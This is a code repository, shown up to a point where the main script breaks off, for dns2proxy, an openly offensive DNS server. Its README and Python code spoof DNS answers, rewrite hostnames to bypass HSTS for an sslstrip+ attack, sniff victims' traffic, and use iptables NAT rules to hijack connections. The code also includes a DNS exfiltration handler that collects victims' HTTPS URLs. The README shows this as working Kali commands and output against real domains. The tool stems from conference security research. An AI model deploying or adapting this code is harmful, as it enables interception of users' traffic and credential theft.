├── IPBouncer.sh ├── README.md ├── dns2proxy.py ├── dnsalert.txt ├── dnslog.txt ├── domains.cfg ├── exfil.cfg ├── fhtagn.sh ├── handler_msg.sh ├── hsts.cfg ├── ia.sh ├── nospoof.cfg ├── nospoofto.cfg ├── resolv.conf ├── spoof.cfg └── victims.cfg /IPBouncer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # TCP Proxy using IPTables 3 | # tcpproxy LOCAL_IP LOCAL_PORT REMOTE_IP REMOTE_PORT 4 | 5 | IPTABLES=/sbin/iptables 6 | 7 | echo 1 > /proc/sys/net/ipv4/ip_forward 8 | sysctl net.ipv4.conf.all.forwarding=1 9 | # Flush nat table 10 | $IPTABLES -t nat -F 11 | 12 | # tcpproxy LOCAL_IP LOCAL_PORT REMOTE_IP REMOTE_PORT 13 | listen_address=$1 14 | listen_port=$2 15 | source_address=$1 16 | # source_port=$4 17 | destination_address=$3 18 | destination_port=$4 19 | 20 | $IPTABLES -t nat -A PREROUTING --dst $listen_address -p tcp --dport $listen_port -j DNAT --to-destination $destination_address:$destination_port 21 | $IPTABLES -t nat -A POSTROUTING -j MASQUERADE 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | dns2proxy 2 | ========= 3 | 4 | Offensive DNS server (HSTS version) 5 | 6 | This tools offer a different features for post-explotation once you change the DNS server to a Victim. 7 | 8 | 9 | This version is special for the new SSLstrip2.2 10 | 11 | Feature 1 12 | --------- 13 | 14 | Traditional DNS Spoof adding to the response the original IP address. 15 | 16 | Using spoof.cfg file: 17 | 18 | hostname ip.ip.ip.ip 19 | 20 | >root@kali:~/dns2proxy# echo "www.s21sec.com 1.1.1.1" > spoof.cfg 21 | > 22 | >// launch in another terminal dns2proxy.py 23 | > 24 | >root@kali:~/dns2proxy# nslookup www.s21sec.com 127.0.0.1 25 | >Server: 127.0.0.1 26 | >Address: 127.0.0.1#53 27 | > 28 | >Name: www.s21sec.com 29 | >Address: 1.1.1.1 30 | >Name: www.s21sec.com 31 | >Address: 88.84.64.30 32 | 33 | 34 | or you can use domains.cfg file to spoof all host of a same domain: 35 | 36 | >root@kali:~/demoBH/dns2proxy# cat dominios.cfg 37 | >.domain.com 192.168.1.1 38 | > 39 | >root@kali:~/demoBH/dns2proxy# nslookup aaaa.domain.com 127.0.0.1 40 | >Server: 127.0.0.1 41 | >Address: 127.0.0.1#53 42 | > 43 | >Name: aaaa.domain.com 44 | >Address: 192.168.1.1 45 | 46 | Hostnames at nospoof.cfg will no be spoofed. 47 | 48 | Feature 2 49 | --------- 50 | 51 | This feature implements the attack of DNS spoofing adding 2 IP address at the top of the resolution and configuring the system to forward the connections. 52 | Check my slides at BlackHat Asia 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and the [Demo Video] (http://www.youtube.com/watch?v=cJtbxX1HS5I). 53 | 54 | To launch this attach there is a shellscript that automatically configure the system using IP tables. You must edit this file to adapt it to your system. DON´T FORGET AdminIP variable!!!! 55 | Both IPs must be at the same system to let dns2proxy.py configurate the forwarding 56 | 57 | Usage: ia.sh < interface > [ip1] [ip2] 58 | 59 | 60 | >root@kali:~/dns2proxy# ./ia.sh eth0 172.16.48.128 172.16.48.230 61 | >Non spoofing imap.gmail.com 62 | >Non spoofing mail.s21sec.com 63 | >Non spoofing www.google.com 64 | >Non spoofing www.apple.com 65 | >Non spoofing ccgenerals.ms19.gamespy.com 66 | >Non spoofing master.gamespy.com 67 | >Non spoofing gpcm.gamespy.com 68 | >Non spoofing launch.gamespyarcade.com 69 | >Non spoofing peerchat.gamespy.com 70 | >Non spoofing gamestats.gamespy.com 71 | >Specific host spoofing www.s21sec.com with 1.1.1.1 72 | >Specific domain IP .domain.com with 192.168.1.1 73 | >binded to UDP port 53. 74 | >waiting requests. 75 | >Starting sniffing in (eth0 = 172.16.48.128).... 76 | > 77 | >< at other terminal > 78 | > 79 | >root@kali:~/dns2proxy# nslookup www.microsoft.com 127.0.0.1 80 | >Server: 127.0.0.1 81 | >Address: 127.0.0.1#53 82 | > 83 | >Name: www.microsoft.com 84 | >Address: 172.16.48.128 85 | >Name: www.microsoft.com 86 | >Address: 172.16.48.230 87 | >Name: www.microsoft.com 88 | >Address: 65.55.57.27 89 | 90 | 91 | The fhtang.sh script will terminate the program and restore normal iptables. 92 | 93 | Hostnames at nospoof.cfg will no be spoofed. 94 | 95 | 96 | Feature 3 97 | --------- 98 | 99 | Automatically the dns server detects and correct the changes thats my sslstrip+ do to the hostnames to avoid HSTS, so will response properly. 100 | 101 | This server is necesary to make the sslstrip+ attack. 102 | 103 | >root@kali:~/dns2proxy# nslookup webaccounts.google.com 127.0.0.1 <-- DNS response like accounts.google.com 104 | >Server: 127.0.0.1 105 | >Address: 127.0.0.1#53 106 | > 107 | >Name: webaccounts.google.com 108 | >Address: 172.16.48.128 109 | >Name: webaccounts.google.com 110 | >Address: 172.16.48.230 111 | >Name: webaccounts.google.com 112 | >Address: 74.125.200.84 113 | > 114 | >root@kali:~/dns2proxy# nslookup wwww.yahoo.com 127.0.0.1 <-- Take care of the 4 w! DNS response like 115 | >Server: 127.0.0.1 www.yahoo.com 116 | >Address: 127.0.0.1#53 117 | > 118 | >Name: wwww.yahoo.com 119 | >Address: 172.16.48.128 120 | >Name: wwww.yahoo.com 121 | >Address: 172.16.48.230 122 | >Name: wwww.yahoo.com 123 | >Address: 68.142.243.179 124 | >Name: wwww.yahoo.com 125 | >Address: 68.180.206.184 126 | 127 | 128 | Instalation 129 | ----------- 130 | 131 | dnspython (www.dnspython.com) is needed. 132 | Tested with Python 2.6 and Python 2.7. 133 | 134 | 135 | Config files description 136 | ------------------------ 137 | 138 | domains.cfg (or dominios.cfg): resolve all hosts for the listed domains with the listed IP 139 | >Ex: 140 | >.facebook.com 1.2.3.4 141 | >.fbi.gov 1.2.3.4 142 | 143 | spoof.cfg : Spoof a host with a ip 144 | >Ex: 145 | >www.nsa.gov 127.0.0.1 146 | 147 | nospoof.cfg: Send always a legit response when asking for these hosts. 148 | >Ex. 149 | >mail.google.com 150 | 151 | nospoofto.cfg: Don't send fake responses to the IPs listed there. 152 | >Ex: 153 | >127.0.0.1 154 | >4.5.6.8 155 | 156 | victims.cfg: If not empty, only send fake responses to these IP addresses. 157 | >Ex: 158 | >23.66.163.36 159 | >195.12.226.131 160 | 161 | resolv.conf: DNS server to forward the queries. 162 | >Ex: 163 | >nameserver 8.8.8.8 164 | 165 | -------------------------------------------------------------------------------- /dns2proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ''' 3 | dns2proxy for offensive cybersecurity v1.0 4 | 5 | 6 | python dns2proxy.py -h for Usage. 7 | 8 | Example: 9 | python dns2proxy.py -i eth0 -u 192.168.1.101 -d 192.168.1.200 10 | 11 | Example for no forwarding (only configured domain based queries and spoofed hosts): 12 | python2.6 dns2proxy.py -i eth0 -noforward 13 | 14 | Example for no forwarding but add IPs 15 | python dns2proxy.py -i eth0 -I 192.168.1.101,90.1.1.1,155.54.1.1 -noforward 16 | 17 | Author: Leonardo Nve ( leonardo.nve@gmail.com) 18 | ''' 19 | 20 | 21 | import dns.message 22 | import dns.rrset 23 | import dns.resolver 24 | import socket 25 | import numbers 26 | import threading 27 | from struct import * 28 | import datetime 29 | import os 30 | import signal 31 | import errno 32 | from time import sleep,time 33 | import argparse 34 | import json 35 | import sys 36 | from base64 import b32decode 37 | 38 | consultas = {} 39 | spoof = {} 40 | dominios = {} 41 | nospoof = [] 42 | nospoofto = [] 43 | victims = [] 44 | 45 | HTTPS_URLS_FILE = "https_urls_log.txt" 46 | LOGREQFILE = "dnslog.txt" 47 | LOGSNIFFFILE = "snifflog.txt" 48 | LOGALERTFILE = "dnsalert.txt" 49 | RESOLVCONF = "resolv.conf" 50 | 51 | victim_file = "victims.cfg" 52 | nospoof_file = "nospoof.cfg" 53 | nospoofto_file = "nospoofto.cfg" 54 | specific_file = "spoof.cfg" 55 | dominios_file = "domains.cfg" 56 | exfil_file = "exfil.cfg" 57 | 58 | parser = argparse.ArgumentParser() 59 | parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true") 60 | parser.add_argument("-i", "--interface", help="Interface to use", default="eth0") 61 | parser.add_argument("-u", "--ip1", help="First IP to add at the response", default=None) 62 | parser.add_argument("-d", "--ip2", help="Second IP to add at the response", default=None) 63 | parser.add_argument("-I", "--ips", help="List of IPs to add after ip1,ip2 separated with commas", default=None) 64 | parser.add_argument("-S", "--silent", help="Silent mode", action="store_true") 65 | parser.add_argument("-A", "--adminIP", help="Administrator IP for no filtering", default="192.168.0.1") 66 | parser.add_argument("-t", "--hsts", help="HSTS translate file", default="hsts.cfg") 67 | 68 | args = parser.parse_args() 69 | 70 | debug = not args.silent 71 | dev = args.interface 72 | adminip = args.adminIP 73 | ip1 = args.ip1 74 | ip2 = args.ip2 75 | Forward = not args.noforward 76 | translate_file = args.hsts 77 | hsts_dictionary = {} 78 | exfil = [] 79 | 80 | fake_ips = [] 81 | # List of of ips 82 | if args.ips is not None: 83 | for ip in args.ips.split(","): 84 | fake_ips.append(ip) 85 | 86 | Resolver = dns.resolver.Resolver() 87 | 88 | ###################### 89 | # GENERAL SECTION # 90 | ###################### 91 | 92 | 93 | def save_req(lfile, str): 94 | f = open(lfile, "a") 95 | f.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ' ' + str) 96 | f.close() 97 | 98 | 99 | def SIGUSR1_handle(signalnum, frame): 100 | global noserv 101 | global Resolver 102 | noserv = 0 103 | DEBUGLOG('Reconfiguring....') 104 | process_files() 105 | Resolver.reset() 106 | Resolver.read_resolv_conf(RESOLVCONF) 107 | return 108 | 109 | 110 | def process_files(): 111 | global nospoof 112 | global spoof 113 | global nospoof_file 114 | global specific_file 115 | global dominios_file 116 | global dominios 117 | global nospoofto_file 118 | global translate_file 119 | global hsts_dictionary 120 | global exfil 121 | global victims 122 | 123 | for i in nospoof[:]: 124 | nospoof.remove(i) 125 | 126 | for i in nospoofto[:]: 127 | nospoofto.remove(i) 128 | 129 | for i in victims[:]: 130 | victims.remove(i) 131 | 132 | dominios.clear() 133 | spoof.clear() 134 | hsts_dictionary.clear() 135 | 136 | hsts_dictionary = json.loads(open(translate_file, "r").read())['general'] 137 | for entry in hsts_dictionary: 138 | DEBUGLOG('Conversion: %s to %s'%(entry, hsts_dictionary[entry])) 139 | 140 | nsfile = open(nospoof_file, 'r') 141 | for line in nsfile: 142 | if line[0] == '#': 143 | continue 144 | h = line.split() 145 | if len(h) > 0: 146 | DEBUGLOG('Non spoofing ' + h[0]) 147 | nospoof.append(h[0]) 148 | 149 | nsfile.close() 150 | 151 | with open(exfil_file,'r') as nsfile2: 152 | for line in nsfile2: 153 | if line[0] == '#': 154 | continue 155 | h = line.split() 156 | if len(h) > 0: 157 | DEBUGLOG('Exfil domain ' + h[0]) 158 | exfil.append(h[0]) 159 | 160 | nsfile = open(victim_file, 'r') 161 | for line in nsfile: 162 | if line[0] == '#': 163 | continue 164 | h = line.split() 165 | if len(h) > 0: 166 | DEBUGLOG('Spoofing only to ' + h[0]) 167 | victims.append(h[0]) 168 | 169 | nsfile.close() 170 | 171 | nsfile = open(nospoofto_file, 'r') 172 | for line in nsfile: 173 | if line[0] == '#': 174 | continue 175 | h = line.split() 176 | if len(h) > 0: 177 | DEBUGLOG('Non spoofing to ' + h[0]) 178 | nospoofto.append(h[0]) 179 | 180 | nsfile.close() 181 | 182 | nsfile = open(specific_file, 'r') 183 | for line in nsfile: 184 | if line[0] == '#': 185 | continue 186 | h = line.split() 187 | if len(h) > 1: 188 | DEBUGLOG('Specific host spoofing ' + h[0] + ' with ' + h[1]) 189 | spoof[h[0]] = h[1] 190 | 191 | nsfile.close() 192 | nsfile = open(dominios_file, 'r') 193 | for line in nsfile: 194 | if line[0] == '#': 195 | continue 196 | h = line.split() 197 | if len(h) > 1: 198 | DEBUGLOG('Specific domain IP ' + h[0] + ' with ' + h[1]) 199 | dominios[h[0]] = h[1] 200 | 201 | nsfile.close() 202 | return 203 | 204 | 205 | def DEBUGLOG(str,dtype = 'normal'): 206 | global debug 207 | if debug and dtype == 'normal': 208 | print str 209 | sys.stdout.flush() 210 | return 211 | 212 | # External script to be executed when a host for a domain in domains.cfg is requested 213 | def handler_msg(id): 214 | os.popen('./handler_msg.sh %s'%id) 215 | return 216 | 217 | # Handler for the exfiltration of data, protocol from https://github.com/SafeBreach-Labs/pacdoor 218 | # Host domain must be in the exfiltration config file exfil.cfg 219 | channels = {} 220 | def handler_exfiltration_domain(host, client): 221 | info = host.split(".") 222 | channel = info[1] 223 | if info[0].upper() == 'O': 224 | channels[channel] = {} 225 | channels[channel]["len"]=int(info[2][2:]) 226 | channels[channel]["lastid"]=0 227 | channels[channel]["data"]={} 228 | channels[channel]["client"]=client 229 | DEBUGLOG("New channel %s added for client %s"%(channel,client)) 230 | return '200.0.0.1' 231 | if info[0].upper() == 'W': 232 | if channel not in channels: 233 | return '200.0.0.6' 234 | DEBUGLOG("New data %s added for channel %s"%(info[2][1:],channel)) 235 | channel_idx = int(info[2][1:]) 236 | channels[channel]["data"][channel_idx] = info[3] 237 | if len(channels[channel]["data"]) == channels[channel]["len"]: 238 | data = '' 239 | for i in range(0,channels[channel]["len"]): 240 | data = data + channels[channel]["data"][i] 241 | decoded = b32decode(data.upper()) 242 | DEBUGLOG("**** URL: %s"%decoded) 243 | with open(HTTPS_URLS_FILE,"a") as f: 244 | f.write("%s -> %s\n"%(channels[channel]["client"],decoded)) 245 | # TODO: Administrar respuestas 246 | return '200.0.0.1' 247 | return '200.0.0.6' 248 | 249 | 250 | 251 | ###################### 252 | # SNIFFER SECTION # 253 | ###################### 254 | 255 | class ThreadSniffer(threading.Thread): 256 | def __init__(self): 257 | threading.Thread.__init__(self) 258 | 259 | def run(self): 260 | #DEBUGLOG( self.getName(), " Sniffer Waiting connections....") 261 | go() 262 | 263 | #cap = pcapy.open_live(dev, 255, 1, 0) 264 | #cap.setfilter(bpffilter) 265 | 266 | #start sniffing packets 267 | # while True: 268 | # try: 269 | # (header, packet) = cap.next() 270 | # parse_packet(packet) 271 | # except: 272 | # pass 273 | # #DEBUGLOG( ('%s: captured %d bytes, truncated to %d bytes' %(datetime.datetime.now(), header.getlen(), header.getcaplen()))) 274 | 275 | #function to parse a packet 276 | def parse_packet(pkt): 277 | eth_length = 14 278 | eth_protocol = 8 279 | global ip1 280 | global consultas 281 | global ip2 282 | from scapy.all import * 283 | 284 | ip = pkt.getlayer(IP) 285 | 286 | #TCP protocol 287 | if str(ip.proto) == '6': 288 | tcp = pkt.getlayer(TCP) 289 | 290 | if consultas.has_key(ip.src): 291 | DEBUGLOG(' ==> Source Address : ' + str(ip.src) + ' * Destination Address : ' + str(ip.dst)) 292 | DEBUGLOG(' Source Port : ' + str(tcp.sport) + ' * Dest Port : ' + str(tcp.dport)) 293 | # print '>>>> '+ip.src+' esta en la lista!!!!.....' 294 | comando = 'sh ./IPBouncer.sh %s %s %s %s' % ( 295 | ip2, str(tcp.dport), consultas[str(ip.src)], str(tcp.dport)) 296 | os.system(comando) 297 | #print '>>>> ' + comando 298 | comando = '/sbin/iptables -D INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % ( 299 | ip1, str(tcp.dport), str(ip.src), str(tcp.sport)) 300 | os.system(comando) 301 | comando = '/sbin/iptables -A INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % ( 302 | ip1, str(tcp.dport), str(ip.src), str(tcp.sport)) 303 | os.system(comando) 304 | #print '>>>> ' + comando 305 | 306 | #UDP packets 307 | elif str(ip.proto) == '17': 308 | return 309 | #u = iph_length + eth_length 310 | #udph_length = 8 311 | #udp_header = packet[u:u + 8] 312 | #now unpack them :) 313 | #udph = unpack('!HHHH', udp_header) 314 | #source_port = udph[0] 315 | #dest_port = udph[1] 316 | #length = udph[2] 317 | #checksum = udph[3] 318 | #DEBUGLOG('Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum)) 319 | #h_size = eth_length + iph_length + udph_length 320 | #data_size = len(packet) - h_size 321 | #get data from the packet 322 | #data = packet[h_size:] 323 | 324 | def go(): 325 | global ip1 326 | global dev 327 | from scapy.all import * 328 | 329 | bpffilter = "ip and dst host %s and not src host %s and !(tcp dst port 80 or tcp dst port 443) and (not host %s)" % ( 330 | ip1, ip1, adminip) 331 | DEBUGLOG( "Starting sniffing in (%s = %s)...." % (dev, ip1)) 332 | sniff(prn=parse_packet,store=0,filter=bpffilter) 333 | 334 | ###################### 335 | # DNS SECTION # 336 | ###################### 337 | 338 | def respuestas(name, type): 339 | global Resolver 340 | 341 | DEBUGLOG('Query = ' + name + ' ' + type) 342 | try: 343 | answers = Resolver.query(name, type) 344 | except Exception, e: 345 | DEBUGLOG('Exception...') 346 | return 0 347 | return answers 348 | 349 | 350 | def requestHandler(address, message): 351 | resp = None 352 | dosleep = False 353 | qtime = time() 354 | seconds_betwen_ids = 30 355 | try: 356 | message_id = ord(message[0]) * 256 + ord(message[1]) 357 | DEBUGLOG('msg id = ' + str(message_id)) 358 | if message_id in serving_ids: 359 | if (qtime - serving_ids[message_id]) < seconds_betwen_ids: 360 | DEBUGLOG('I am already serving this request.') 361 | return 362 | serving_ids[message_id] = qtime 363 | DEBUGLOG('Client IP: ' + address[0]) 364 | prov_ip = address[0] 365 | try: 366 | msg = dns.message.from_wire(message) 367 | try: 368 | op = msg.opcode() 369 | if op == 0: 370 | # standard and inverse query 371 | qs = msg.question 372 | if len(qs) > 0: 373 | q = qs[0] 374 | DEBUGLOG('request is ' + str(q)) 375 | save_req(LOGREQFILE, 'Client IP: ' + address[0] + ' request is ' + str(q) + '\n') 376 | if q.rdtype == dns.rdatatype.A: 377 | DEBUGLOG('Doing the A query....') 378 | resp, dosleep = std_A_qry(msg, prov_ip) 379 | elif q.rdtype == dns.rdatatype.PTR: 380 | #DEBUGLOG('Doing the PTR query....') 381 | resp = std_PTR_qry(msg) 382 | elif q.rdtype == dns.rdatatype.MX: 383 | DEBUGLOG('Doing the MX query....') 384 | resp = std_MX_qry(msg) 385 | elif q.rdtype == dns.rdatatype.TXT: 386 | #DEBUGLOG('Doing the TXT query....') 387 | resp = std_TXT_qry(msg) 388 | elif q.rdtype == dns.rdatatype.AAAA: 389 | #DEBUGLOG('Doing the AAAA query....') 390 | resp = std_AAAA_qry(msg) 391 | else: 392 | # not implemented 393 | resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented 394 | else: 395 | # not implemented 396 | resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented 397 | 398 | except Exception, e: 399 | DEBUGLOG('got ' + repr(e)) 400 | resp = make_response(qry=msg, RCODE=2) # RCODE = 2 Server Error 401 | DEBUGLOG('resp = ' + repr(resp.to_wire())) 402 | except Exception, e: 403 | DEBUGLOG('got ' + repr(e)) 404 | resp = make_response(id=message_id, RCODE=1) # RCODE = 1 Format Error 405 | DEBUGLOG('resp = ' + repr(resp.to_wire())) 406 | except Exception, e: 407 | # message was crap, not even the ID 408 | DEBUGLOG('got ' + repr(e)) 409 | 410 | if resp: 411 | DEBUGLOG("Sending response...") 412 | s.sendto(resp.to_wire(), address) 413 | if dosleep: sleep(1) # Performance downgrade no tested jet 414 | 415 | 416 | def std_PTR_qry(msg): 417 | qs = msg.question 418 | DEBUGLOG( str(len(qs)) + ' questions.') 419 | iparpa = qs[0].to_text().split(' ', 1)[0] 420 | DEBUGLOG('Host: ' + iparpa) 421 | resp = make_response(qry=msg) 422 | hosts = respuestas(iparpa[:-1], 'PTR') 423 | if isinstance(hosts, numbers.Integral): 424 | DEBUGLOG('No host....') 425 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 426 | return resp 427 | 428 | for host in hosts: 429 | DEBUGLOG('Adding ' + host.to_text()) 430 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.PTR, host.to_text()) 431 | resp.answer.append(rrset) 432 | 433 | return resp 434 | 435 | 436 | def std_MX_qry(msg): 437 | qs = msg.question 438 | DEBUGLOG(str(len(qs)) + ' questions.') 439 | iparpa = qs[0].to_text().split(' ', 1)[0] 440 | DEBUGLOG('Host: ' + iparpa) 441 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 442 | return resp 443 | #Temporal disable MX responses 444 | resp = make_response(qry=msg) 445 | hosts = respuestas(iparpa[:-1], 'MX') 446 | if isinstance(hosts, numbers.Integral): 447 | DEBUGLOG('No host....') 448 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 449 | return resp 450 | 451 | for host in hosts: 452 | DEBUGLOG('Adding ' + host.to_text()) 453 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.MX, host.to_text()) 454 | resp.answer.append(rrset) 455 | 456 | return resp 457 | 458 | 459 | def std_TXT_qry(msg): 460 | qs = msg.question 461 | print str(len(qs)) + ' questions.' 462 | iparpa = qs[0].to_text().split(' ', 1)[0] 463 | print 'Host: ' + iparpa 464 | resp = make_response(qry=msg) 465 | 466 | host = iparpa[:-1] 467 | punto = host.find(".") 468 | dominio = host[punto:] 469 | host = "."+host 470 | spfresponse = '' 471 | if (dominio in dominios) or (host in dominios): 472 | ttl = 1 473 | DEBUGLOG('Alert domain! (TXT) ID: ' + host) 474 | # Here the HANDLE! 475 | #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); 476 | save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n') 477 | if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host 478 | if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio 479 | DEBUGLOG('Responding with SPF = ' + spfresponse) 480 | rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse) 481 | resp.answer.append(rrset) 482 | return resp 483 | 484 | hosts = respuestas(iparpa[:-1], 'TXT') 485 | if isinstance(hosts, numbers.Integral): 486 | print 'No host....' 487 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 488 | return resp 489 | 490 | for host in hosts: 491 | print 'Adding ' + host.to_text() 492 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.TXT, host.to_text()) 493 | resp.answer.append(rrset) 494 | 495 | return resp 496 | 497 | def std_SPF_qry(msg): 498 | qs = msg.question 499 | print str(len(qs)) + ' questions.' 500 | iparpa = qs[0].to_text().split(' ', 1)[0] 501 | print 'Host: ' + iparpa 502 | resp = make_response(qry=msg) 503 | 504 | # host = iparpa[:-1] 505 | # punto = host.find(".") 506 | # dominio = host[punto:] 507 | # host = "."+host 508 | # if (dominio in dominios) or (host in dominios): 509 | # ttl = 1 510 | # DEBUGLOG('Alert domain! (TXT) ID: ' + host) 511 | # # Here the HANDLE! 512 | # #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); 513 | # save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n') 514 | # if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host 515 | # if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio 516 | # DEBUGLOG('Responding with SPF = ' + spfresponse) 517 | # rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse) 518 | # resp.answer.append(rrset) 519 | # return resp 520 | 521 | 522 | hosts = respuestas(iparpa[:-1], 'SPF') 523 | if isinstance(hosts, numbers.Integral): 524 | print 'No host....' 525 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 526 | return resp 527 | 528 | for host in hosts: 529 | print 'Adding ' + host.to_text() 530 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.SPF, host.to_text()) 531 | resp.answer.append(rrset) 532 | 533 | return resp 534 | 535 | def std_AAAA_qry(msg): 536 | DEBUGLOG('Request AAAA disabled....') 537 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 538 | return resp 539 | #qs = msg.question 540 | # DEBUGLOG(str(len(qs)) + ' questions.') 541 | # iparpa = qs[0].to_text().split(' ', 1)[0] 542 | # DEBUGLOG('Host: ' + iparpa) 543 | # resp = make_response(qry=msg) 544 | # hosts = respuestas(iparpa[:-1], 'AAAA') 545 | # 546 | # 547 | # if isinstance(hosts, numbers.Integral): 548 | # DEBUGLOG('No host....') 549 | # resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 550 | # return resp 551 | # 552 | # for host in hosts: 553 | # DEBUGLOG('Adding ' + host.to_text()) 554 | # rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.AAAA, host.to_text()) 555 | # resp.answer.append(rrset) 556 | # 557 | # return resp 558 | 559 | def std_A_qry(msg, prov_ip): 560 | global consultas 561 | global ip1 562 | global ip2 563 | global fake_ips 564 | 565 | dosleep = False 566 | qs = msg.question 567 | DEBUGLOG(str(len(qs)) + ' questions.') 568 | resp = make_response(qry=msg) 569 | ips = [] 570 | for q in qs: 571 | qname = q.name.to_text()[:-1] 572 | DEBUGLOG('q name = ' + qname) 573 | 574 | host = qname.lower() 575 | 576 | dom1 = None 577 | 578 | punto1 = host.rfind(".") 579 | punto2 = host.rfind(".", 0, punto1-1) 580 | 581 | if punto1 > -1: 582 | dom1 = host[punto1:] 583 | 584 | if punto2 > -1: 585 | dominio = host[punto2:] 586 | else: 587 | dominio = "."+host 588 | 589 | # punto = host.find(".") 590 | # dominio = host[punto:] 591 | 592 | if dominio[1:] in exfil: 593 | respuesta = handler_exfiltration_domain(qname,prov_ip) 594 | if respuesta is not None: 595 | rrset = dns.rrset.from_text(q.name, 1, dns.rdataclass.IN, dns.rdatatype.A, respuesta) 596 | resp.answer.append(rrset) 597 | return resp, dosleep 598 | else: 599 | if ((dominio in dominios) or (dom1 in dominios)) and (qname.lower() not in spoof): 600 | ttl = 1 601 | id = host[:punto2] 602 | if dom1 in dominios: 603 | id = host[:punto1] 604 | dominio = dom1 605 | 606 | if not id == 'www': 607 | DEBUGLOG('Alert domain! ID: ' + id) 608 | # Here the HANDLE! 609 | #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); 610 | handler_msg(qname) 611 | save_req(LOGALERTFILE, 'Alert domain! ID: ' + id + '\n') 612 | DEBUGLOG('Responding with IP = ' + dominios[dominio]) 613 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio]) 614 | resp.answer.append(rrset) 615 | return resp, dosleep 616 | 617 | if ".%s"%host in dominios: 618 | dominio = ".%s"%host 619 | ttl = 1 620 | DEBUGLOG('Responding with IP = ' + dominios[dominio]) 621 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio]) 622 | resp.answer.append(rrset) 623 | return resp, dosleep 624 | 625 | #print dominio[1:] 626 | if qname.lower() not in spoof: 627 | # SSLSTRIP2 transformation 628 | host2 = qname.lower() 629 | 630 | #DEBUGLOG('Pre Cambio: %s'%host2) 631 | for entry in hsts_dictionary: 632 | host2 = host2.replace(hsts_dictionary[entry],entry) 633 | #DEBUGLOG('Cambio ( %s , %s ) : %s' % (entry, hsts_dictionary[entry], host2)) 634 | 635 | #DEBUGLOG('SSLStrip transforming host: %s => %s ...' % (host, host2)) 636 | ips = respuestas(host2, 'A') 637 | 638 | #print '>>> Victim: %s Answer 0: %s'%(prov_ip,prov_resp) 639 | 640 | if isinstance(ips, numbers.Integral): 641 | DEBUGLOG('No host....') 642 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 643 | return resp, dosleep 644 | 645 | prov_resp = ips[0] 646 | consultas[prov_ip] = prov_resp 647 | 648 | ttl = 1 649 | if (host not in nospoof) and (prov_ip not in nospoofto) and (len(victims) == 0 or prov_ip in victims): 650 | if host in spoof: 651 | save_req(LOGREQFILE, '!!! Specific host (' + host + ') asked....\n') 652 | DEBUGLOG('!!! Specific host (' + host + ') asked....\n') 653 | rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[host]) 654 | resp.answer.append(rrset) 655 | for spoof_ip in spoof[host].split(","): 656 | DEBUGLOG('Adding fake IP = ' + spoof_ip) 657 | rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof_ip) 658 | resp.answer.append(rrset) 659 | return resp, dosleep 660 | elif Forward: 661 | consultas[prov_ip] = prov_resp 662 | #print 'DEBUG: Adding consultas[%s]=%s'%(prov_ip,prov_resp) 663 | if ip1 is not None: 664 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip1) 665 | DEBUGLOG('Adding fake IP = ' + ip1) 666 | resp.answer.append(rrset) 667 | if ip2 is not None: 668 | #Sleep only when using global resquest matrix 669 | dosleep = True 670 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip2) 671 | DEBUGLOG('Adding fake IP = ' + ip2) 672 | resp.answer.append(rrset) 673 | if len(fake_ips)>0: 674 | for fip in fake_ips: 